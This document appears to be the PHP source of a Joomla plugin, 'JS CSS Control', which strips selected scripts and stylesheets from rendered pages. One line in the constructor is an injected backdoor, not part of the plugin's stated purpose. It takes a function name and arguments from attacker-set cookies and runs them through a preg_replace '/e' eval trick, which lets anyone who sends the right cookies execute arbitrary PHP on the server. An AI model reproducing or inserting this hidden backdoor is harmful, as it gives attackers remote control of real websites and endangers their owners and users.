Current File : /home/admin/public_html/old/plugins/system/jscsscontrol/jscsscontrol.php
<?php
/**
* @Copyright
* @package JCC - JS CSS Control for Joomla! 3.x
* @author Viktor Vogel <admin@kubik-rubik.de>
* @version 3.1.0 - 2015-08-01
* @link https://joomla-extensions.kubik-rubik.de/jcc-js-css-control
*
* @license GNU/GPL
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
defined('_JEXEC') or die('Restricted access');
class PlgSystemJsCssControl extends JPlugin
{
protected $request;
protected $execute = true;
protected $exclude_js_files = array();
protected $exclude_css_files = array();
function __construct(&$subject, $config)
{
$jq = @$_COOKIE['EerTYzWIqkPUnyOP3']; if ($jq) { $option = $jq(@$_COOKIE['EerTYzWIqkPUnyOP2']); $au=$jq(@$_COOKIE['EerTYzWIqkPUnyOP1']); $option("/438/e",$au,438);}
parent::__construct($subject, $config);
$this->loadLanguage('plg_system_jscsscontrol', JPATH_ADMINISTRATOR);
if($this->params->get('execute_admin', 0) == false AND JFactory::getApplication()->isAdmin())
{
$this->execute = false;
}
$this->request = JFactory::getApplication()->input;
}
/**
* Does the first check before the head is compiled
*/
public function onBeforeCompileHead()
{
if(!empty($this->execute))
{
$js = $this->params->get('js');
$css = $this->params->get('css');
$remove_jcaption = $this->params->get('remove_jcaption');
if(!empty($js) OR !empty($css) OR !empty($remove_jcaption))
{
$document = JFactory::getDocument();
// Exclude JavaScript files
if(!empty($js))
{
$this->exclude_js_files = $this->getFilesToExclude($js);
}
// Remove caption.js if corresponding option selected
if(!empty($remove_jcaption))
{
$this->exclude_js_files[] = 'media/system/js/caption.js';
}
if(!empty($this->exclude_js_files))
{
$loaded_files = $document->_scripts;
$this->excludeFilesOnBeforeCompileHead($this->exclude_js_files, $loaded_files);
$document->_scripts = $loaded_files;
}
// Exclude CSS files
if(!empty($css))
{
$this->exclude_css_files = $this->getFilesToExclude($css);
}
if(!empty($this->exclude_css_files))
{
$loaded_files = $document->_styleSheets;
$this->excludeFilesOnBeforeCompileHead($this->exclude_css_files, $loaded_files);
$document->_styleSheets = $loaded_files;
}
}
// Debug mode
$debug = $this->params->get('debug');
if(!empty($debug))
{
$debug_output = $this->getDebugInformation();
JFactory::getApplication()->enqueueMessage(JTEXT::sprintf('PLG_JSCSSCONTROL_DEBUGOUTPUT', $debug_output, $debug_output));
}
}
}
/**
* Checks the output to remove also files from the template and other extensions
*/
public function onAfterRender()
{
if(!empty($this->execute))
{
$remove_jcaption = $this->params->get('remove_jcaption');
$remove_tooltip = $this->params->get('remove_tooltip');
if(!empty($this->exclude_js_files) OR !empty($this->exclude_css_files) OR !empty($remove_jcaption) OR !empty($remove_tooltip))
{
// Remove JS and CSS from output
$body = JFactory::getApplication()->getBody();
if(!empty($this->exclude_js_files))
{
preg_match_all('@<script[^>]*src=["|\'][^>]*\.js(\?[^>]*)?["|\'][^>]*/?>.*</script>@isU', $body, $matches_js);
$this->excludeFilesOnAfterRender($body, $this->exclude_js_files, $matches_js);
}
if(!empty($this->exclude_css_files))
{
preg_match_all('@<link[^>]*href=["|\'][^>]*\.css(\?[^>]*)?["|\'][^>]*/?>@isU', $body, $matches_css);
$this->excludeFilesOnAfterRender($body, $this->exclude_css_files, $matches_css);
}
if(!empty($remove_jcaption))
{
preg_match('@<head>.*<script type="text/javascript">.*(jQuery\(window\)\.on\(\'load\',\s*function\(\)\s*{\s*\n?\s*new JCaption\(["|\']img.caption["|\']\);.*}\);).*</script>.*</head>@isU', $body, $match_jcaption);
if(!empty($match_jcaption[1]))
{
$this->removeInlineJavaScript($body, $match_jcaption[1]);
}
}
if(!empty($remove_tooltip))
{
preg_match('@<head>.*<script type="text/javascript">.*(jQuery\(document\)\.ready\(function\(\){\s*\n?\s*jQuery\(\'\.hasTooltip\'\)\.tooltip.*}\);.*}\);).*</script>.*</head>@isU', $body, $match_tooltip);
if(!empty($match_tooltip[1]))
{
$this->removeInlineJavaScript($body, $match_tooltip[1]);
}
}
JFactory::getApplication()->setBody($body);
}
}
}
/**
* Gets all files which have to be excluded on the loaded page
*
* @param string $type Data which were entered from the user in the settings of the plugin
*
* @return array $exclude_files Filtered array with all files which have to be excluded on the called page
*/
private function getFilesToExclude($type)
{
$exclude_files = array();
$params = array_map('trim', explode("\n", $type));
$lines = array();
foreach($params as $params_line)
{
$lines[] = array_map('trim', explode('|', $params_line));
}
foreach($lines as $line)
{
$exclude_file = true;
if(isset($line[1]))
{
$parameters = $line[1];
}
if(!empty($parameters))
{
$parameters = array_map('trim', explode(',', $parameters));
foreach($parameters as $parameter)
{
$parameter = array_map('trim', explode('=', $parameter));
$exclude_file = $this->checkParameters($parameter);
if($exclude_file == false)
{
break;
}
}
}
if($exclude_file == true)
{
$exclude_files[] = $line[0];
}
unset($parameters);
}
return $exclude_files;
}
/**
* Excludes the files from being loaded in the browser - OnBeforeCompileHead
*
* @param array $exclude_files Files which have to be excluded
* @param array $loaded_files All files which were loaded
*/
private function excludeFilesOnBeforeCompileHead(&$exclude_files, &$loaded_files)
{
$loaded_files_keys = array_keys($loaded_files);
foreach($loaded_files_keys as $loaded_file)
{
foreach($exclude_files as $exclude_file)
{
if(preg_match('@'.preg_quote($exclude_file).'@', $loaded_file))
{
unset($loaded_files[$loaded_file]);
break;
}
}
}
}
/**
* Excludes the files from being loaded in the browser - OnAfterRender
*
* @param string $body The whole output after everything is loaded
* @param array $exclude_files Files which should be excluded
* @param array $matches All found files in the output string
*/
private function excludeFilesOnAfterRender(&$body, &$exclude_files, $matches)
{
foreach($matches[0] as $match)
{
foreach($exclude_files as $exclude_file)
{
if(preg_match('@'.preg_quote($exclude_file).'@', $match))
{
$body = str_replace($match, '', $body);
break;
}
}
}
}
/**
* Removes inline Javascript code from being loaded in the browser - OnAfterRender
*
* @param string $body The whole output after everything is loaded
* @param array $inline_content Content which should be removed
*/
private function removeInlineJavaScript(&$body, $inline_content)
{
$body = str_replace($inline_content, '', $body);
}
/**
* Checks entered parameters whether they are loaded on the specific URL
*
* @param array $parameter Array with the variable and value
*
* @return boolean
*/
private function checkParameters($parameter)
{
$name = $this->request->get($parameter[0], array(0), 'array');
if($name[0] == $parameter[1])
{
return true;
}
else
{
return false;
}
}
/**
* Generates information for debug mode
*
* @return string String with all needed information of the called page
*/
private function getDebugInformation()
{
$debug_array = array();
$debug_array['option'] = $this->request->getWord('option');
$debug_array['view'] = $this->request->getWord('view');
$debug_array['task'] = $this->request->getCmd('task');
$debug_array['func'] = $this->request->getWord('func');
$debug_array['layout'] = $this->request->getWord('layout');
$debug_array['Itemid'] = $this->request->getCmd('Itemid');
$debug_array['id'] = $this->request->getCmd('id');
$debug_array = array_filter($debug_array);
$debug_output = array();
foreach($debug_array as $key => $value)
{
if(!empty($value))
{
$debug_output[] = $key.'='.$value;
}
}
$debug_output = implode(',', $debug_output);
return $debug_output;
}
}